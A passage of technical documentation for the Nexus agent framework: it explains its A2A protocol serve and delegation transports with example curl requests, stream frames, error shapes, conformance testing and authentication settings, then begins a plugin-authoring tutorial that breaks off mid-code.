  "description": "A Nexus harness exposed over A2A for interop testing.",
  "supportedInterfaces": [
    { "url": "http://127.0.0.1:18191/a2a",    "protocolBinding": "JSONRPC",   "protocolVersion": "1.0" },
    { "url": "http://127.0.0.1:18191/a2a/v1", "protocolBinding": "HTTP+JSON", "protocolVersion": "1.0" }
  ],
  "version": "0.1.0",
  "capabilities": { "streaming": true, "pushNotifications": false, "extendedAgentCard": false },
  "securitySchemes": {
    "static": { "httpAuthSecurityScheme": {
      "description": "Shared bearer token issued out-of-band by the operator of this agent.",
      "scheme": "Bearer" } }
  },
  "securityRequirements": [ { "schemes": { "static": {} } } ],
  "defaultInputModes": ["text/plain"],
  "defaultOutputModes": ["text/plain"],
  "skills": [ { "id": "chat", "name": "Conversational turn", "…": "…" } ]
}

Read three things off it. supportedInterfaces names both bindings and their URLs. capabilities is derived from the operations the plugin actually implements, so it never overstates. securitySchemes is derived from the configured validator chain, so what you are told to present is what is enforced.

2. Send a message and stream the task

SendStreamingMessage over the JSON-RPC binding:

curl -sN localhost:18191/a2a \
  -H 'Authorization: Bearer test-a2a-token' \
  -H 'A2A-Version: 1.0' \
  -H 'Content-Type: application/a2a+json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":
       {"message":{"messageId":"m1","role":"ROLE_USER",
        "parts":[{"text":"hello"}],"contextId":"demo"}}}'

The response is text/event-stream. Each record’s data: payload is a full JSON-RPC response envelope repeating the request id, whose result is one StreamResponse (task ids shortened here for readability):

data: {"jsonrpc":"2.0","id":1,"result":{"task":{"id":"task-0e42cb…","contextId":"demo","status":{"state":"TASK_STATE_SUBMITTED","timestamp":"2026-08-18T16:05:23.766Z"}}}}

data: {"jsonrpc":"2.0","id":1,"result":{"statusUpdate":{"taskId":"task-0e42cb…","contextId":"demo","status":{"state":"TASK_STATE_WORKING","timestamp":"2026-08-18T16:05:23.767Z"}}}}

data: {"jsonrpc":"2.0","id":1,"result":{"artifactUpdate":{"taskId":"task-0e42cb…","contextId":"demo","artifact":{"artifactId":"task-0e42cb…-response","name":"response","parts":[{"text":"Hello from a mocked Nexus agent."}]},"lastChunk":true}}}

data: {"jsonrpc":"2.0","id":1,"result":{"statusUpdate":{"taskId":"task-0e42cb…","contextId":"demo","status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T16:05:23.768Z"}}}}

Four frames, in a fixed order:

  1. The opening Task in TASK_STATE_SUBMITTED. A2A requires a stream to open with a Task or a Message, and no update event may name a task that does not exist yet.
  2. A status update to TASK_STATE_WORKING, written when the agent turn starts.
  3. An artifact update carrying the final assistant text as a text Part. A turn that called tools would interleave one artifact update per tool result before this one, and a client that opted into the Nexus extension would see telemetry on the WORKING status updates between them — see What a turn publishes.
  4. A status update to TASK_STATE_COMPLETED, which closes the stream.

Artifacts must precede the terminal status, and do: A2A closes a stream the moment a frame reports a terminal state, so an artifact queued after COMPLETED would be dropped and the client would see a completed task with no output. TASK_STATE_FAILED, CANCELED and REJECTED close the stream the same way, so a client handles one shape of ending rather than two.

Over the REST binding the same stream is available at POST <rest_prefix>/message:stream, and each data: payload is a bare StreamResponse with no JSON-RPC envelope. pkg/a2a’s SSEReader auto-detects the framing per record, so a client need not know which binding the server chose before it starts reading.

3. Or block and take the finished Task

Blocking is A2A’s default for SendMessage (§3.2.2): the call returns when the work is done, not when it was accepted. Here over the REST binding:

curl -s -X POST localhost:18191/a2a/v1/message:send \
  -H 'Authorization: Bearer test-a2a-token' \
  -H 'A2A-Version: 1.0' \
  -H 'Content-Type: application/a2a+json' \
  -d '{"message":{"messageId":"m2","role":"ROLE_USER",
       "parts":[{"text":"and again"}],"contextId":"demo"}}'
{"task":{"id":"task-b102f6…","contextId":"demo",
  "status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T16:05:50.629Z"},
  "artifacts":[{"artifactId":"task-b102f6…-response","name":"response",
    "parts":[{"text":"Still here on the second turn."}]}]}}

The blocking reply is folded from exactly the frames the streaming path writes, so the two bindings cannot report different outcomes for the same turn. (The answer differs from the first call’s only because the test config scripts two mock responses.)

Because this call reused contextId: "demo", it ran in the same session as the streaming call above, with the first exchange still in history. A different contextId is refused — that is the payload shown earlier.

configuration.returnImmediately answers with the task as it stands and lets the client follow it with GetTask or SubscribeToTask. That works because a run’s lifetime is its task’s, not its request’s: the listener’s single active-task slot is released when the task reaches a terminal state, so a client may also disconnect mid-turn and reattach later without failing its own task. The cost of that is why CancelTask exists — a turn nobody is watching would otherwise hold the process’s only agent loop with nothing able to interrupt it.

A blocking SendMessage returns on a terminal state or on INPUT_REQUIRED: a task waiting for the caller cannot be waited on by the caller.

4. Reading tasks back

A task outlives the call that created it. Poll one:

curl -s localhost:18191/a2a/v1/tasks/<task-id> \
  -H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq
{"id":"task-e0fc24…","contextId":"demo",
 "status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T18:20:10.828Z"},
 "artifacts":[{"artifactId":"task-e0fc24…-response","name":"response",
   "parts":[{"text":"Hello from a mocked Nexus agent."}]}],
 "history":[{"messageId":"m1","contextId":"demo","taskId":"task-e0fc24…",
   "role":"ROLE_USER","parts":[{"text":"Are you still there?"}]},
  {"messageId":"msg-de55c4…","contextId":"demo","taskId":"task-e0fc24…",
   "role":"ROLE_AGENT","parts":[{"text":"Hello from a mocked Nexus agent."}]}]}

history is the trail of message references the store retained, rendered as text messages — not a replay of Nexus’s conversation buffer. §3.7 leaves it to the server which messages are persisted and warns clients not to assume all of them are present, so a bounded reference trail is a conforming history. historyLength caps it: 0 omits it, N keeps the most recent N.

List them, newest first. History is included unless you cap it, so historyLength=0 is the compact listing:

curl -s 'localhost:18191/a2a/v1/tasks?pageSize=1&historyLength=0' \
  -H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq
{"tasks":[{"id":"task-e0fc24…","contextId":"demo",
   "status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T18:20:10.828Z"}}],
 "nextPageToken":"","pageSize":1,"totalSize":1}

Artifacts are the other way round — omitted unless includeArtifacts=true, which is the specification’s own default. The remaining filters are contextId, status and statusTimestampAfter. nextPageToken is empty when the walk is done and is a keyset cursor otherwise, so a task created while you page cannot make the walk skip or repeat a row.

Re-attach a stream to a task, which replays its current state and then follows it live:

curl -sN -X POST localhost:18191/a2a/v1/tasks/<task-id>:subscribe \
  -H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0'
data: {"task":{"id":"task-e0fc24…","contextId":"demo",
  "status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T18:20:10.828Z"},
  "artifacts":[…],"history":[…]}}

On a finished task that is one frame — the terminal snapshot — and the stream closes. On a task still running it is the current snapshot followed by the same frames every other attached stream receives; several clients may watch one task at once and all of them see the identical sequence from the point they joined.

A task belonging to another principal answers exactly as an unknown task id does: the same TaskNotFoundError, the same 404, the same body. There is no “exists but is not yours”, because that is an existence oracle for ids the caller was never told.

5. Failure shapes worth knowing

Missing or bad credentials, on the JSON-RPC binding:

HTTP/1.1 401 Unauthorized
A2a-Version: 1.0
Www-Authenticate: Bearer realm="nexus-a2a"

{"jsonrpc":"2.0","id":null,"error":{"code":-32000,"message":"unauthorized",
  "data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo",
    "domain":"nexus.io.a2a","reason":"AUTHENTICATION_REQUIRED"}]}}

A deliberately unsupported operation, refused with the error type the specification reserves for exactly that condition:

curl -s localhost:18191/a2a \
  -H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' \
  -H 'Content-Type: application/a2a+json' \
  -d '{"jsonrpc":"2.0","id":9,"method":"GetExtendedAgentCard","params":{}}'
{"jsonrpc":"2.0","id":9,"error":{"code":-32004,
  "message":"operation \"GetExtendedAgentCard\" is not supported by this agent",
  "data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo","domain":"a2a-protocol.org",
    "reason":"UNSUPPORTED_OPERATION"}]}}

Cancelling a task that has already finished — a well-defined mistake, not a silent no-op:

{"jsonrpc":"2.0","id":9,"error":{"code":-32002,
  "message":"task is in terminal state TASK_STATE_COMPLETED and cannot be canceled",
  "data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo","domain":"a2a-protocol.org",
    "metadata":{"taskId":"task-01J…"},"reason":"TASK_NOT_CANCELABLE"}]}}

A task id that this caller cannot see — unknown, or owned by somebody else:

{"jsonrpc":"2.0","id":9,"error":{"code":-32001,"message":"Task not found",
  "data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo","domain":"a2a-protocol.org",
    "metadata":{"taskId":"task-x"},"reason":"TASK_NOT_FOUND"}]}}

The full per-binding error-envelope table is in the Configuration Reference.

What works today

There are two serving surfaces and they do not implement identical sets, so the tables below are per surface. Both keep one map — implementedOperations in the plugin, brokerImplementedOperations in the broker — that gates what dispatches and what the Agent Card advertises, so on either surface the card and the behaviour cannot disagree.

Standalone serve (nexus.io.a2a)

OperationJSON-RPC methodREST pathStatus
Fetch the Agent CardGET /.well-known/agent-card.jsonWorks
Send a message, blockingSendMessagePOST <rest_prefix>/message:sendWorks
Send a message, streamingSendStreamingMessagePOST <rest_prefix>/message:streamWorks
Read one taskGetTaskGET <rest_prefix>/tasks/{id}Works — status, artifacts, history; historyLength honoured
List tasksListTasksGET <rest_prefix>/tasksWorks — keyset pagination, contextId / status / statusTimestampAfter / includeArtifacts filters
Re-subscribe to a taskSubscribeToTaskPOST <rest_prefix>/tasks/{id}:subscribeWorks — replays current state, then follows live; several streams per task
Cancel a taskCancelTaskPOST <rest_prefix>/tasks/{id}:cancelWorks — routes through control.cancel, settles at CANCELED; a terminal task is TaskNotCancelableError
Continue an interrupted taskSendMessage with taskIdPOST <rest_prefix>/message:sendWorks — routes the answer to the parked hitl.requested; same turn, no new task
Return before the turn endsconfiguration.returnImmediatelysameWorks — answers with the task; follow it with GetTask / SubscribeToTask
Receive the answer as an artifactWorks — a text Part, plus an application/json Part when the answer is a JSON document
Receive tool results as artifactsWorks — one artifact per tool.result, unconditionally
Receive written files as artifactsWorks — inline base64 raw Parts, capped by artifacts.max_file_bytes; detected from what a tool.result reports, so an uninstrumented write is missed by design
Receive Nexus telemetryA2A-Extensions service parametersame headerWorks — thinking steps, tool calls, subagent progress and token usage on TaskStatusUpdateEvent.metadata; declared in the card, opt-in per request

Every A2A operation outside the push-notification family is now wired. All read operations are scoped to the calling principal — another principal’s task is indistinguishable from one that does not exist — and so are CancelTask and continuation, which resolve the task through the same scoped lookup before they reveal anything about its state.

Broker-fronted serve (cmd/nexus-broker, the agents: block)

The broker publishes the same operations per profile, at /agents/<profile>/…, and drives them by starting an isolated instance rather than by watching this process’s bus. What differs is set out below; everything not mentioned behaves as the table above describes.

CapabilityStandaloneBroker-fronted
Conversations per deploymentOne. The process is bound to one contextId for its life; a second is refused with CONTEXT_NOT_SERVEDUnbounded. Each contextId gets its own OS-isolated instance, spawned on the first message and re-spawned with -recall after it is released
Agents per listenerOneOne per agents: profile, each with its own card, config and path namespace
Agent CardServed unauthenticated by default — the listener binds loopback; card_requires_auth: true gates itBehind the auth guard, always, like every other broker route; an ingress does not publish its agent list to anyone who can reach the port
Concurrent tasks on one conversationRefused (TASK_ALREADY_IN_FLIGHT) — and only a genuinely concurrent one: the slot is released before a terminal response is written, so a sequential send is never refusedQueued. The second task sits in SUBMITTED — readable, streamable, cancellable — until the first is terminal. The broker has no per-conversation refusal to issue at all, so the one-task-at-a-time rule is a property of the standalone listener, not of A2A on Nexus
Answer artifactYesYes
Tool-result artifactsYes, one per tool.resultNo. The instance IO envelope carries no tool results
Written-file artifactsYes, inline base64No, for the same reason
Nexus extension telemetryYes, opt-in per requestNo. The envelope carries no thinking steps or per-call token usage
GetTask / ListTasks / SubscribeToTaskFrom the plugin’s task store, principal-scopedFrom the broker’s task store, scoped to principal and profile; answers after the instance is gone and across a broker restart
CancelTask, HITL park and resume, returnImmediatelyYesYes
Push notifications, GetExtendedAgentCardRefused, capability falseRefused, capability false
Retentiontasks.ttl 24h, tasks.max_per_context 200a2a.tasks.ttl 24h, a2a.tasks.max_per_context 50, plus a lossy 4096-binding cap on conversation continuity

The artifact rows are the honest headline. Behind the broker an agent returns its answer and nothing else, because nexus.io.broker’s payload has no field for a tool result or a written file. That is a property of the transport between the broker and the instance, not a gap that a later story closes cheaply, and it is measured rather than asserted — see Conformance.

Outbound: what nexus.agent.a2a_remote does today

The table above is the serve leg. The outbound leg stands on its own:

CapabilityStatus
Fetch a remote’s Agent Card, lazily on first useWorks — a remote that is down cannot fail this instance’s boot; the tool description is rebuilt from the card and re-registered once
Delegate a task, streamingWorksSendStreamingMessage, frames republished as io.output / subagent.iteration while the run is live
Delegate a task, blockingWorksstream: false selects SendMessage
Both bindingsWorksbinding: jsonrpc (default) or http+json, or pin an endpoint and skip discovery
Fold the terminal status message and the artifacts into one tool resultWorks — XML-tagged, CDATA-wrapped, binary and URL parts described rather than inlined
Credentials: bearer, oauth2_client_credentials, mtlsWorks — per remote, never inherited, validated at Init
Cancel the remote task when the local turn is cancelledWorkscancel.activeCancelTask, and the same abandonment on every walk-away
Chained human-in-the-loopWorks, on either binding — a remote that parks at INPUT_REQUIRED has its question raised locally as hitl.requested, and the answer resumes the same task. See Chaining human-in-the-loop across a delegation
Consume the Nexus extension’s telemetry from a remote NexusWorks — requested by default, mapped onto subagent.iteration
Result cachingWorks — successes only, never one a human answered for
Posture budgetsPartial by design — only default_budget.timeout and max_recursion_depth cross the boundary; a posture setting the token or tool-call budget is refused
Push-notification webhooksNot supported — see Deliberately unsupported

What a turn publishes

A2A puts task output in artifacts and conversation in messages (§3.7). A turn’s artifacts are:

artifactIdContents
<taskId>-responseThe answer as a text Part. Plus an application/json Part when the answer is a JSON object or array — one surrounding markdown fence is unwrapped first — so structured output is a document rather than a string a client re-parses.
<taskId>-tool-<callId>One per tool result: the output as text (or the error, flagged nexus.tool.failed in the artifact metadata), plus an application/json Part when the tool produced structured output.
<taskId>-file-<path>One per file the turn wrote: the bytes inline as a base64 raw Part carrying the filename and media type.
<taskId>-artifacts-truncatedOnly when the task spent its artifact budget: how many artifacts were withheld.

Tool results are artifacts unconditionally — there is no key to turn them off, because an interop transport whose observability depends on the operator having enabled it is one a partner cannot rely on. The volume that buys is answered by caps, not by a flag: artifacts.max_file_bytes (256 KiB) bounds one inline file, artifacts.max_tool_output_bytes (16 KiB) bounds one tool output, and artifacts.max_task_bytes (1 MiB) bounds one task. Every cap degrades rather than dropping silently: an over-cap file becomes a metadata note naming it, over-cap output is truncated with a note, and a task past its budget publishes a notice saying how much it withheld.

A human-in-the-loop question is not an artifact. It rides the INPUT_REQUIRED status message and the task’s message history, which is where a request for input belongs.

File detection is tool.result-based, and is incomplete by design. A file is published only when a tool reports having written it, through the engine’s ToolResult.OutputFile field or a structured-output key named by artifacts.file_sources (default: nexus.tool.fileio’s write_file reporting path). Snapshot-diffing the workspace is out of scope, so a shell command redirecting into a file — which reports stdout and an exit code and nothing about the file — publishes nothing. nexus.tool.shell therefore has no default rule rather than one that could never fire.

The Nexus extension: telemetry A2A has no field for

Thinking steps, tool calls, subagent progress and token counts are not output — they are how the agent got to its output — so they ride an extension (§8.4) rather than an artifact:

https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1

The card declares it under capabilities.extensions, never as required. Ask for it per request:

curl -sN localhost:8091/a2a \
  -H 'A2A-Version: 1.0' \
  -H 'A2A-Extensions: https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1' \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":{"message":{
        "messageId":"m-1","role":"ROLE_USER","parts":[{"text":"search for X"}]}}}'

The response echoes A2A-Extensions with what was actually activated, and the frames carry payloads like:

{
  "statusUpdate": {
    "taskId": "task-01J…",
    "contextId": "01J…",
    "status": { "state": "TASK_STATE_WORKING", "timestamp": "2026-08-18T12:00:01Z" },
    "metadata": {
      "https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1": {
        "kind": "tool_call",
        "taskId": "task-01J…",
        "sequence": 3,
        "source": "tool.invoke",
        "toolCall": { "callId": "call-1", "name": "web_search",
                      "arguments": { "query": "X" } }
      }
    }
  }
}

Two things are worth knowing. The status those frames carry is the task’s current state, so a telemetry frame emitted while the task is parked reports TASK_STATE_INPUT_REQUIRED rather than pretending the task went back to work. And telemetry is not persisted — storing it would put a WORKING transition in the task’s status history for every thinking step, so GetTask would replay a turn’s reasoning as state changes the task never made. It is a live signal on an attached stream.

A client that does not send the header gets a stream with no extension metadata on it at all. That is the point of an opt-in: it is honoured by not sending.

Human-in-the-loop: INPUT_REQUIRED and back

A Nexus agent asking a human something (ask_user, or any plugin emitting hitl.requested) parks the task at TASK_STATE_INPUT_REQUIRED with the question on status.message. The task stays live: open SSE streams stay open, the state is written through to the store, and a blocking SendMessage returns the parked Task rather than waiting for a caller that is itself waiting on it.

Answer it by sending a new message carrying the same taskId and contextId — A2A’s own resume mechanism (§3.4):

curl -sS localhost:8091/a2a -H 'A2A-Version: 1.0' -H 'Content-Type: application/json' -d '{
  "jsonrpc": "2.0", "id": 7, "method": "SendMessage",
  "params": { "message": {
    "messageId": "m-2", "role": "ROLE_USER",
    "taskId": "task-01J…", "contextId": "01J…",
    "parts": [ { "text": "staging" } ]
  } }
}' | jq '.result.task.status.state'

The task returns to WORKING inside the turn that asked — no second task, no second turn. The wait is bounded by tasks.input_timeout (default 15m), after which the task is failed and the question retracted, because a parked task holds this process’s one agent loop.

Because a run now outlives the request that started it, the whole sequence survives a dropped connection: ask, disconnect, reattach with SubscribeToTask, answer, complete.

Chaining human-in-the-loop across a delegation

The mapping runs both ways, and the two halves compose.

Inbound (above), a Nexus agent’s hitl.requested becomes an INPUT_REQUIRED status on the task it is serving. Outbound, nexus.agent.a2a_remote does the mirror image: a remote that parks at INPUT_REQUIRED has its question raised as a local hitl.requested, and the human’s answer is sent back as an ordinary message carrying the same taskId and contextId.

        human
          ^  hitl.requested / hitl.responded
          |
   [ Nexus A ] --A2A--> [ Nexus B ] --A2A--> [ agent C ]
                          ^                     |
                          |  INPUT_REQUIRED     |  INPUT_REQUIRED
                          +---------------------+

C asks. B’s a2a_remote turns that into B’s own hitl.requested; B’s nexus.io.a2a turns that into B’s task parking at INPUT_REQUIRED; A’s a2a_remote turns that into the question the human at the top actually sees. The answer walks back down, each hop resuming its own task under its own taskId. Nothing in the chain has to know how long it is.

Both directions bound the wait, with the same key name and the same default: tasks.input_timeout on the serving side and hitl.input_timeout on the calling side, both 15m, both disabled with "0s". On the calling side the whole-call timeout also keeps running while the task is parked, and the earlier deadline wins — with the 5m default timeout that is the call budget, so raise it for a remote you expect to ask questions. Either way the question is retracted with hitl.cancel, the remote task is cancelled, and the model is told the question went unanswered and told not to answer it itself.

AUTH_REQUIRED is deliberately not chained: it asks for a credential, and no answer a person types is one.

Nexus→Nexus chaining works on either binding

A2A leaves it to the server whether an INPUT_REQUIRED park closes the SSE stream, and both readings are legal. nexus.io.a2a holds it open (keep-alive comments, no terminal frame) so a client can keep following the task. The question is therefore carried by the interruption frame, not by the stream ending, and nexus.agent.a2a_remote acts on that frame: it stops reading there, puts the question to a human, and resumes the task on a fresh connection with a message naming the same taskId (§3.2.2, §3.4). No configuration is needed — chaining works at the shipped default stream: true, and equally over the blocking binding, which returns the parked Task the moment it parks.

tests/integration/a2a_loopback_test.go pins the Nexus→Nexus shape end to end, streaming included.

Planned, not available today

Do not build against these. Everything below is either refused outright or simply absent right now; it is listed so the shape of the finished transport is visible, not so it can be relied on.

  • Tool, file and telemetry artifacts behind the broker. The broker-fronted surface publishes only a turn’s answer, because the instance IO envelope carries nothing else. Widening it means widening that envelope, which is a change to every broker client and not to this transport.
  • Workspace-wide file detection. Files become artifacts only when a tool.result reports the path (see What a turn publishes); snapshot-diffing the session workspace is deliberately out of scope, so a write by an uninstrumented path is missed.

Delegating to a remote agent

Everything above is the inbound direction: a client driving a Nexus turn. The outbound direction is nexus.agent.a2a_remote, which turns each configured remote A2A agent into one LLM-facing tool:

plugins:
  active:
    - nexus.agent.react
    - nexus.agent.a2a_remote

  nexus.agent.a2a_remote:
    agents:
      - name: researcher
        base_url: https://research.internal
        description: A specialist research agent reachable over A2A.

That registers delegate_a2a_researcher. Calling it sends the delegated task to the remote, drains the stream the remote answers with, and folds the terminal result back into the tool result.

Several decisions in that path are worth stating here, because they are the ones a reader of this guide is most likely to be surprised by.

Remotes come from configuration only. The tool schema exposes no url, endpoint or host parameter. A model-chosen address would be a server-side request forgery surface and an unbounded spend surface at once; which remotes an instance can reach is an operator decision.

Discovery is lazy. A remote’s Agent Card is fetched on first use, never at boot. A remote agent is somebody else’s process, and one that is down — restarting, not deployed, behind a VPN — must not be able to fail this instance’s startup. Until the card resolves the tool carries the configured description; the first successful call rebuilds it from the card’s own skills and re-registers the tool once.

A2A’s split answer is put back together. A2A puts output in artifacts and conversation in messages, and a remote may put its whole answer in either. Both are folded into one XML-tagged document — <final_response> plus one <artifact> element each — so the calling model can tell the agent’s summary from a tool’s raw output and one artifact from the next. Remote text rides in CDATA; binary and URL parts are described rather than inlined; extension telemetry parts are dropped.

Nothing is an engine-level failure. An unreachable card, a refused binding, a dead stream, an exhausted budget and a task that ends FAILED all become a clean tool error carrying a sentence the calling model can act on, alongside whatever partial output arrived.

A remote’s question reaches the human, not the model. A remote parking at INPUT_REQUIRED is not a failure: the question is raised on the local bus as hitl.requested — the same event ask_user produces — and the human’s answer resumes the remote task with the same taskId and contextId, which is A2A’s own resume mechanism (§3.4). The delegating model never sees the question and is never given the chance to answer it, because a model handed a question only a person can settle will invent an answer and then act on it. It works on either binding, including against a remote that holds its stream open across the park — nexus.io.a2a does; see Chaining human-in-the-loop across a delegation.

A long delegation is not a black box. The remote’s narration becomes io.output and, for a remote Nexus instance, its own tool calls and subagent activity arrive through the Nexus extension and become subagent.iteration, so the TUI, the browser, AG-UI and the A2A serve transport can all render progress. This is why extensions defaults to the Nexus extension URI: a remote that has never heard of it answers exactly as before, and a remote Nexus answers with the telemetry that makes the delegation legible.

Cancelling the local turn cancels the remote task. cancel.active retracts any pending question and issues CancelTask to every remote in flight. More generally: if this instance walks away from a non-terminal remote task — an exhausted budget, a broken stream, a question nobody answered — it tells the remote rather than leaving it working for a caller that has gone.

Credentials are per remote and checked at boot. Each agents[] entry carries its own credentials: block — bearer, oauth2_client_credentials or mtls — and there is deliberately no plugin-level default, so a token can never reach a remote it was not issued for. Everything checkable without the network is checked at Init: an unset environment variable, an unreadable client certificate, a key belonging to the wrong type. No credential value is ever logged. On the first call the credential is compared against the card’s securitySchemes and an obvious mismatch warns — a card’s scheme block is optional and routinely incomplete, so refusing on that evidence would break working deployments. See Remote A2A Agents → Credentials.

Budgets come from the posture registry when a remote names a posture — but only default_budget.timeout and max_recursion_depth, since A2A gives a client no control over the remote’s own token or tool-call spend. A posture setting either of those is refused rather than half-honoured.

Because nexus.io.a2a speaks the same wire, pointing a2a_remote at another Nexus instance’s serve endpoint is a complete Nexus→Nexus loopback, which is the cheapest faithful end-to-end proof of both directions at once — and is what tests/integration/a2a_loopback_test.go does. See Nexus↔Nexus loopback for what that proves and what it does not.

Deliberately unsupported

These are not “not yet”. They are decisions.

Push-notification webhooks

The Agent Card declares capabilities.pushNotifications: false, and none of the four *TaskPushNotificationConfig operations exists — DecodeCall reports them as unsupported methods, and an inline configuration.taskPushNotificationConfig on a SendMessage is refused with PushNotificationNotSupportedError.

Push delivery is not a small feature: it is an outbound HTTP client with retry, backoff, webhook-URL validation (an SSRF surface), and request signing so a receiver can trust the callback. SSE already covers the long-running-task case for every client that can hold a connection, so the machinery buys reach at a disproportionate cost in attack surface. The TaskPushNotificationConfig type exists in pkg/a2a only because SendMessageConfiguration references it.

GetExtendedAgentCard

capabilities.extendedAgentCard is false. The extended card is the specification’s answer to “my card must stay private”: a second, authenticated document with more detail than the public one. Nexus’s card is entirely hand-authored — nothing is derived from the tool catalog or the skills plugin — so there is no richer internal document for an extended card to reveal, and a second card would be a second thing to keep in sync with the first. An operator who needs the card private sets card_requires_auth: true and distributes it out-of-band, which §8.2 sanctions as “Direct Configuration”.

The gRPC binding

A2A defines three bindings; Nexus implements two, JSON-RPC 2.0 and HTTP+JSON. gRPC is deferred, and the reason is a dependency budget: it would pull grpc, protobuf and genproto into the default build of a repo that hand-rolls every LLM provider over net/http. The codec is deliberately transport-agnostic, so if gRPC ships it ships as a separate opt-in plugin and those dependencies stay out of cmd/nexus and cmd/nexus-broker.

Nexus also does not adopt a2aproject/a2a-go for the same reason: the SDK drags in the same stack plus cobra.

Conformance: one corpus, two mappings

Two independent mappings turn Nexus activity into A2A frames, and they share only the wire types in pkg/a2a:

  • plugins/io/a2a maps the engine bus (agent.turn.start, tool.result, hitl.requested, …) onto A2A.
  • the session broker maps the broker IO envelope forwarded over its dial-back WebSocket onto A2A.

Nothing in the type system makes the two agree, so a shared conformance corpus does: pkg/a2a/a2aconform holds a set of JSON vectors describing A2A output only. A vector names an abstract step (“the agent produced final text”, “the agent asked the human a question”) and pins the exact frame sequence that step must produce; a mapping supplies a Driver that realizes those steps in its own vocabulary, and the runner does the comparing. Beyond a frame-by-frame comparison, every vector is independently replayed through a2a.SSEWriter, so each one also asserts §11.7’s stream contract.

nexus.io.a2a’s driver is TestA2AConformance in plugins/io/a2a/conformance_test.go; it declares every capability the vocabulary names and passes 9 of 9. The broker’s driver is the same test name in cmd/nexus-broker/a2aconformance_test.go, and it passes 5 of 9 with 4 skipped:

VectorBrokerWhy
turn-completes, turn-fails, turn-canceled, hitl-interrupt-resume, hitl-parks-stream-openPassThe IO envelope expresses all of it: an input payload starts a turn, status: idle ends it, an instance going away fails it, cancel settles it, hitl.request parks it
multi-artifact-turn, streaming-order-interleavesSkipped — needs tool_artifactsnexus.io.broker subscribes to neither tool.invoke nor tool.result, and its payload has no field for either, so there is nothing to publish a tool artifact from — and nothing to interleave with
oversized-file-degradesSkipped — needs tool_artifacts, file_artifactsFiles a turn wrote are reported on a tool result, which is the same absence
artifact-budget-suppressionSkipped — needs tool_artifacts, artifact_budgetThe only artifact this mapping mints is the turn’s own answer, which is never charged against a budget, so there is no budget to have

The skips are declared, not silent: a Feature gate makes a mapping state once, visibly, what it cannot express, the runner names every skipped vector on every run, and a mapping that declared a feature it cannot produce would pass a vector by lying about its transport. Weakening the four vectors so the broker could claim them would erase the one honest difference between the two surfaces.

The oracle’s own honesty is tested in pkg/a2a/a2aconform/check_test.go, which feeds Check deliberately-wrong observations and asserts each is reported.

The rule: any new A2A behaviour adds a vector there before it is implemented in a second mapping. Back-filling vectors from a second mapping’s observed output encodes the drift instead of catching it. And if a mapping cannot satisfy a vector, the vector is not weakened: either the mapping has a bug, or the expectation is wrong and the fix lands in the vector with a rationale saying why the old one was.

Nexus↔Nexus loopback

The corpus checks one mapping against a written-down expectation. The loopback checks the two legs against each other: tests/integration/a2a_loopback_test.go boots two real engines — one running nexus.agent.a2a_remote, one running nexus.io.a2a on 127.0.0.1:18192 — and drives a full delegation between them under mocked LLM responses, so it needs no API key and runs in a couple of seconds inside the standard tagged suite.

ConfigRole
configs/test-a2a-loopback-caller.yamlthe delegating engine, bearer credential, mock LLM
configs/test-a2a-loopback-server.yamlthe callee’s listener, bearer-guarded, mock LLM
configs/test-a2a-loopback-hitl-server.yamlthe same callee, but its agent calls ask_user

It covers card fetch, a streaming run to COMPLETED, artifact return, bearer acceptance and refusal, a chained question answered on the caller’s side, the two input deadlines (tasks.input_timeout and hitl.input_timeout) racing each other, and a local cancellation settling the remote task at CANCELED.

What it proves, and what it does not. Conformance for this integration is self-defined: hand-written vectors plus this loopback. No external A2A implementation and no third-party test kit is in either path. The loopback therefore proves the two Nexus mappings are self-consistent — what one emits, the other reads — and says nothing about interoperating with somebody else’s agent. That is a recorded limitation, not an oversight; the corpus above exists precisely because a loopback cannot catch a shared misreading of the specification.

Securing a listener

The listener binds loopback by default (127.0.0.1:8091) and with no bearer_token or auth: block it admits every caller — which is only safe because of that bind address. Move bind off loopback and configure authentication in the same commit.

Two spellings, mutually exclusive, identical to nexus.io.agui:

plugins:
  nexus.io.a2a:
    bind: "0.0.0.0:8091"
    public_url: "https://agent.example.com"   # what the card advertises
    bearer_token_env: NEXUS_A2A_TOKEN         # one shared secret
plugins:
  nexus.io.a2a:
    auth:                                     # or the full validator chain
      validators:
        - type: jwks
          issuer: "https://issuer.example.com/"
          jwks_url: "https://issuer.example.com/.well-known/jwks.json"
          audience: ["nexus-a2a"]
          principal_claim: sub

Setting both is a boot error. The card’s securitySchemes are derived from whichever you configured, so a client is told to present what is actually enforced — with one exception: a proxy_headers validator publishes no scheme, because it accepts no client credential at all, only an identity a trusted fronting proxy already established.

public_url matters as soon as a reverse proxy is involved: it is what the card advertises in supportedInterfaces, and it defaults to http://<bind>, which is right for loopback and wrong behind a proxy.

See also

Creating a Custom Plugin

This guide walks through creating a new Nexus plugin from scratch.

Plugin Template

Create a new package under plugins/:

plugins/
  mycat/
    mycat.go        # Main plugin file
    mycat_test.go   # Tests

Minimal Plugin

package mycat

import (
    "context"
    "log/slog"

    "github.com/frankbardon/nexus/pkg/engine"
)

const pluginID = "nexus.mycat"

type Plugin struct {
    bus    engine.EventBus
    logger *slog.Logger
}

func New() engine.Plugin {
    return &Plugin{}
}

func (p *Plugin) ID() string      { return pluginID }
func (p *Plugin) Name() string    { return "My Category Plugin" }
func (p *Plugin) Version() string { return "0.1.0" }

func (p *Plugin) Dependencies() []string { return nil }

func (p *Plugin) Init(ctx engine.PluginContext) error {
    p.bus = ctx.Bus
    p.logger = ctx.Logger
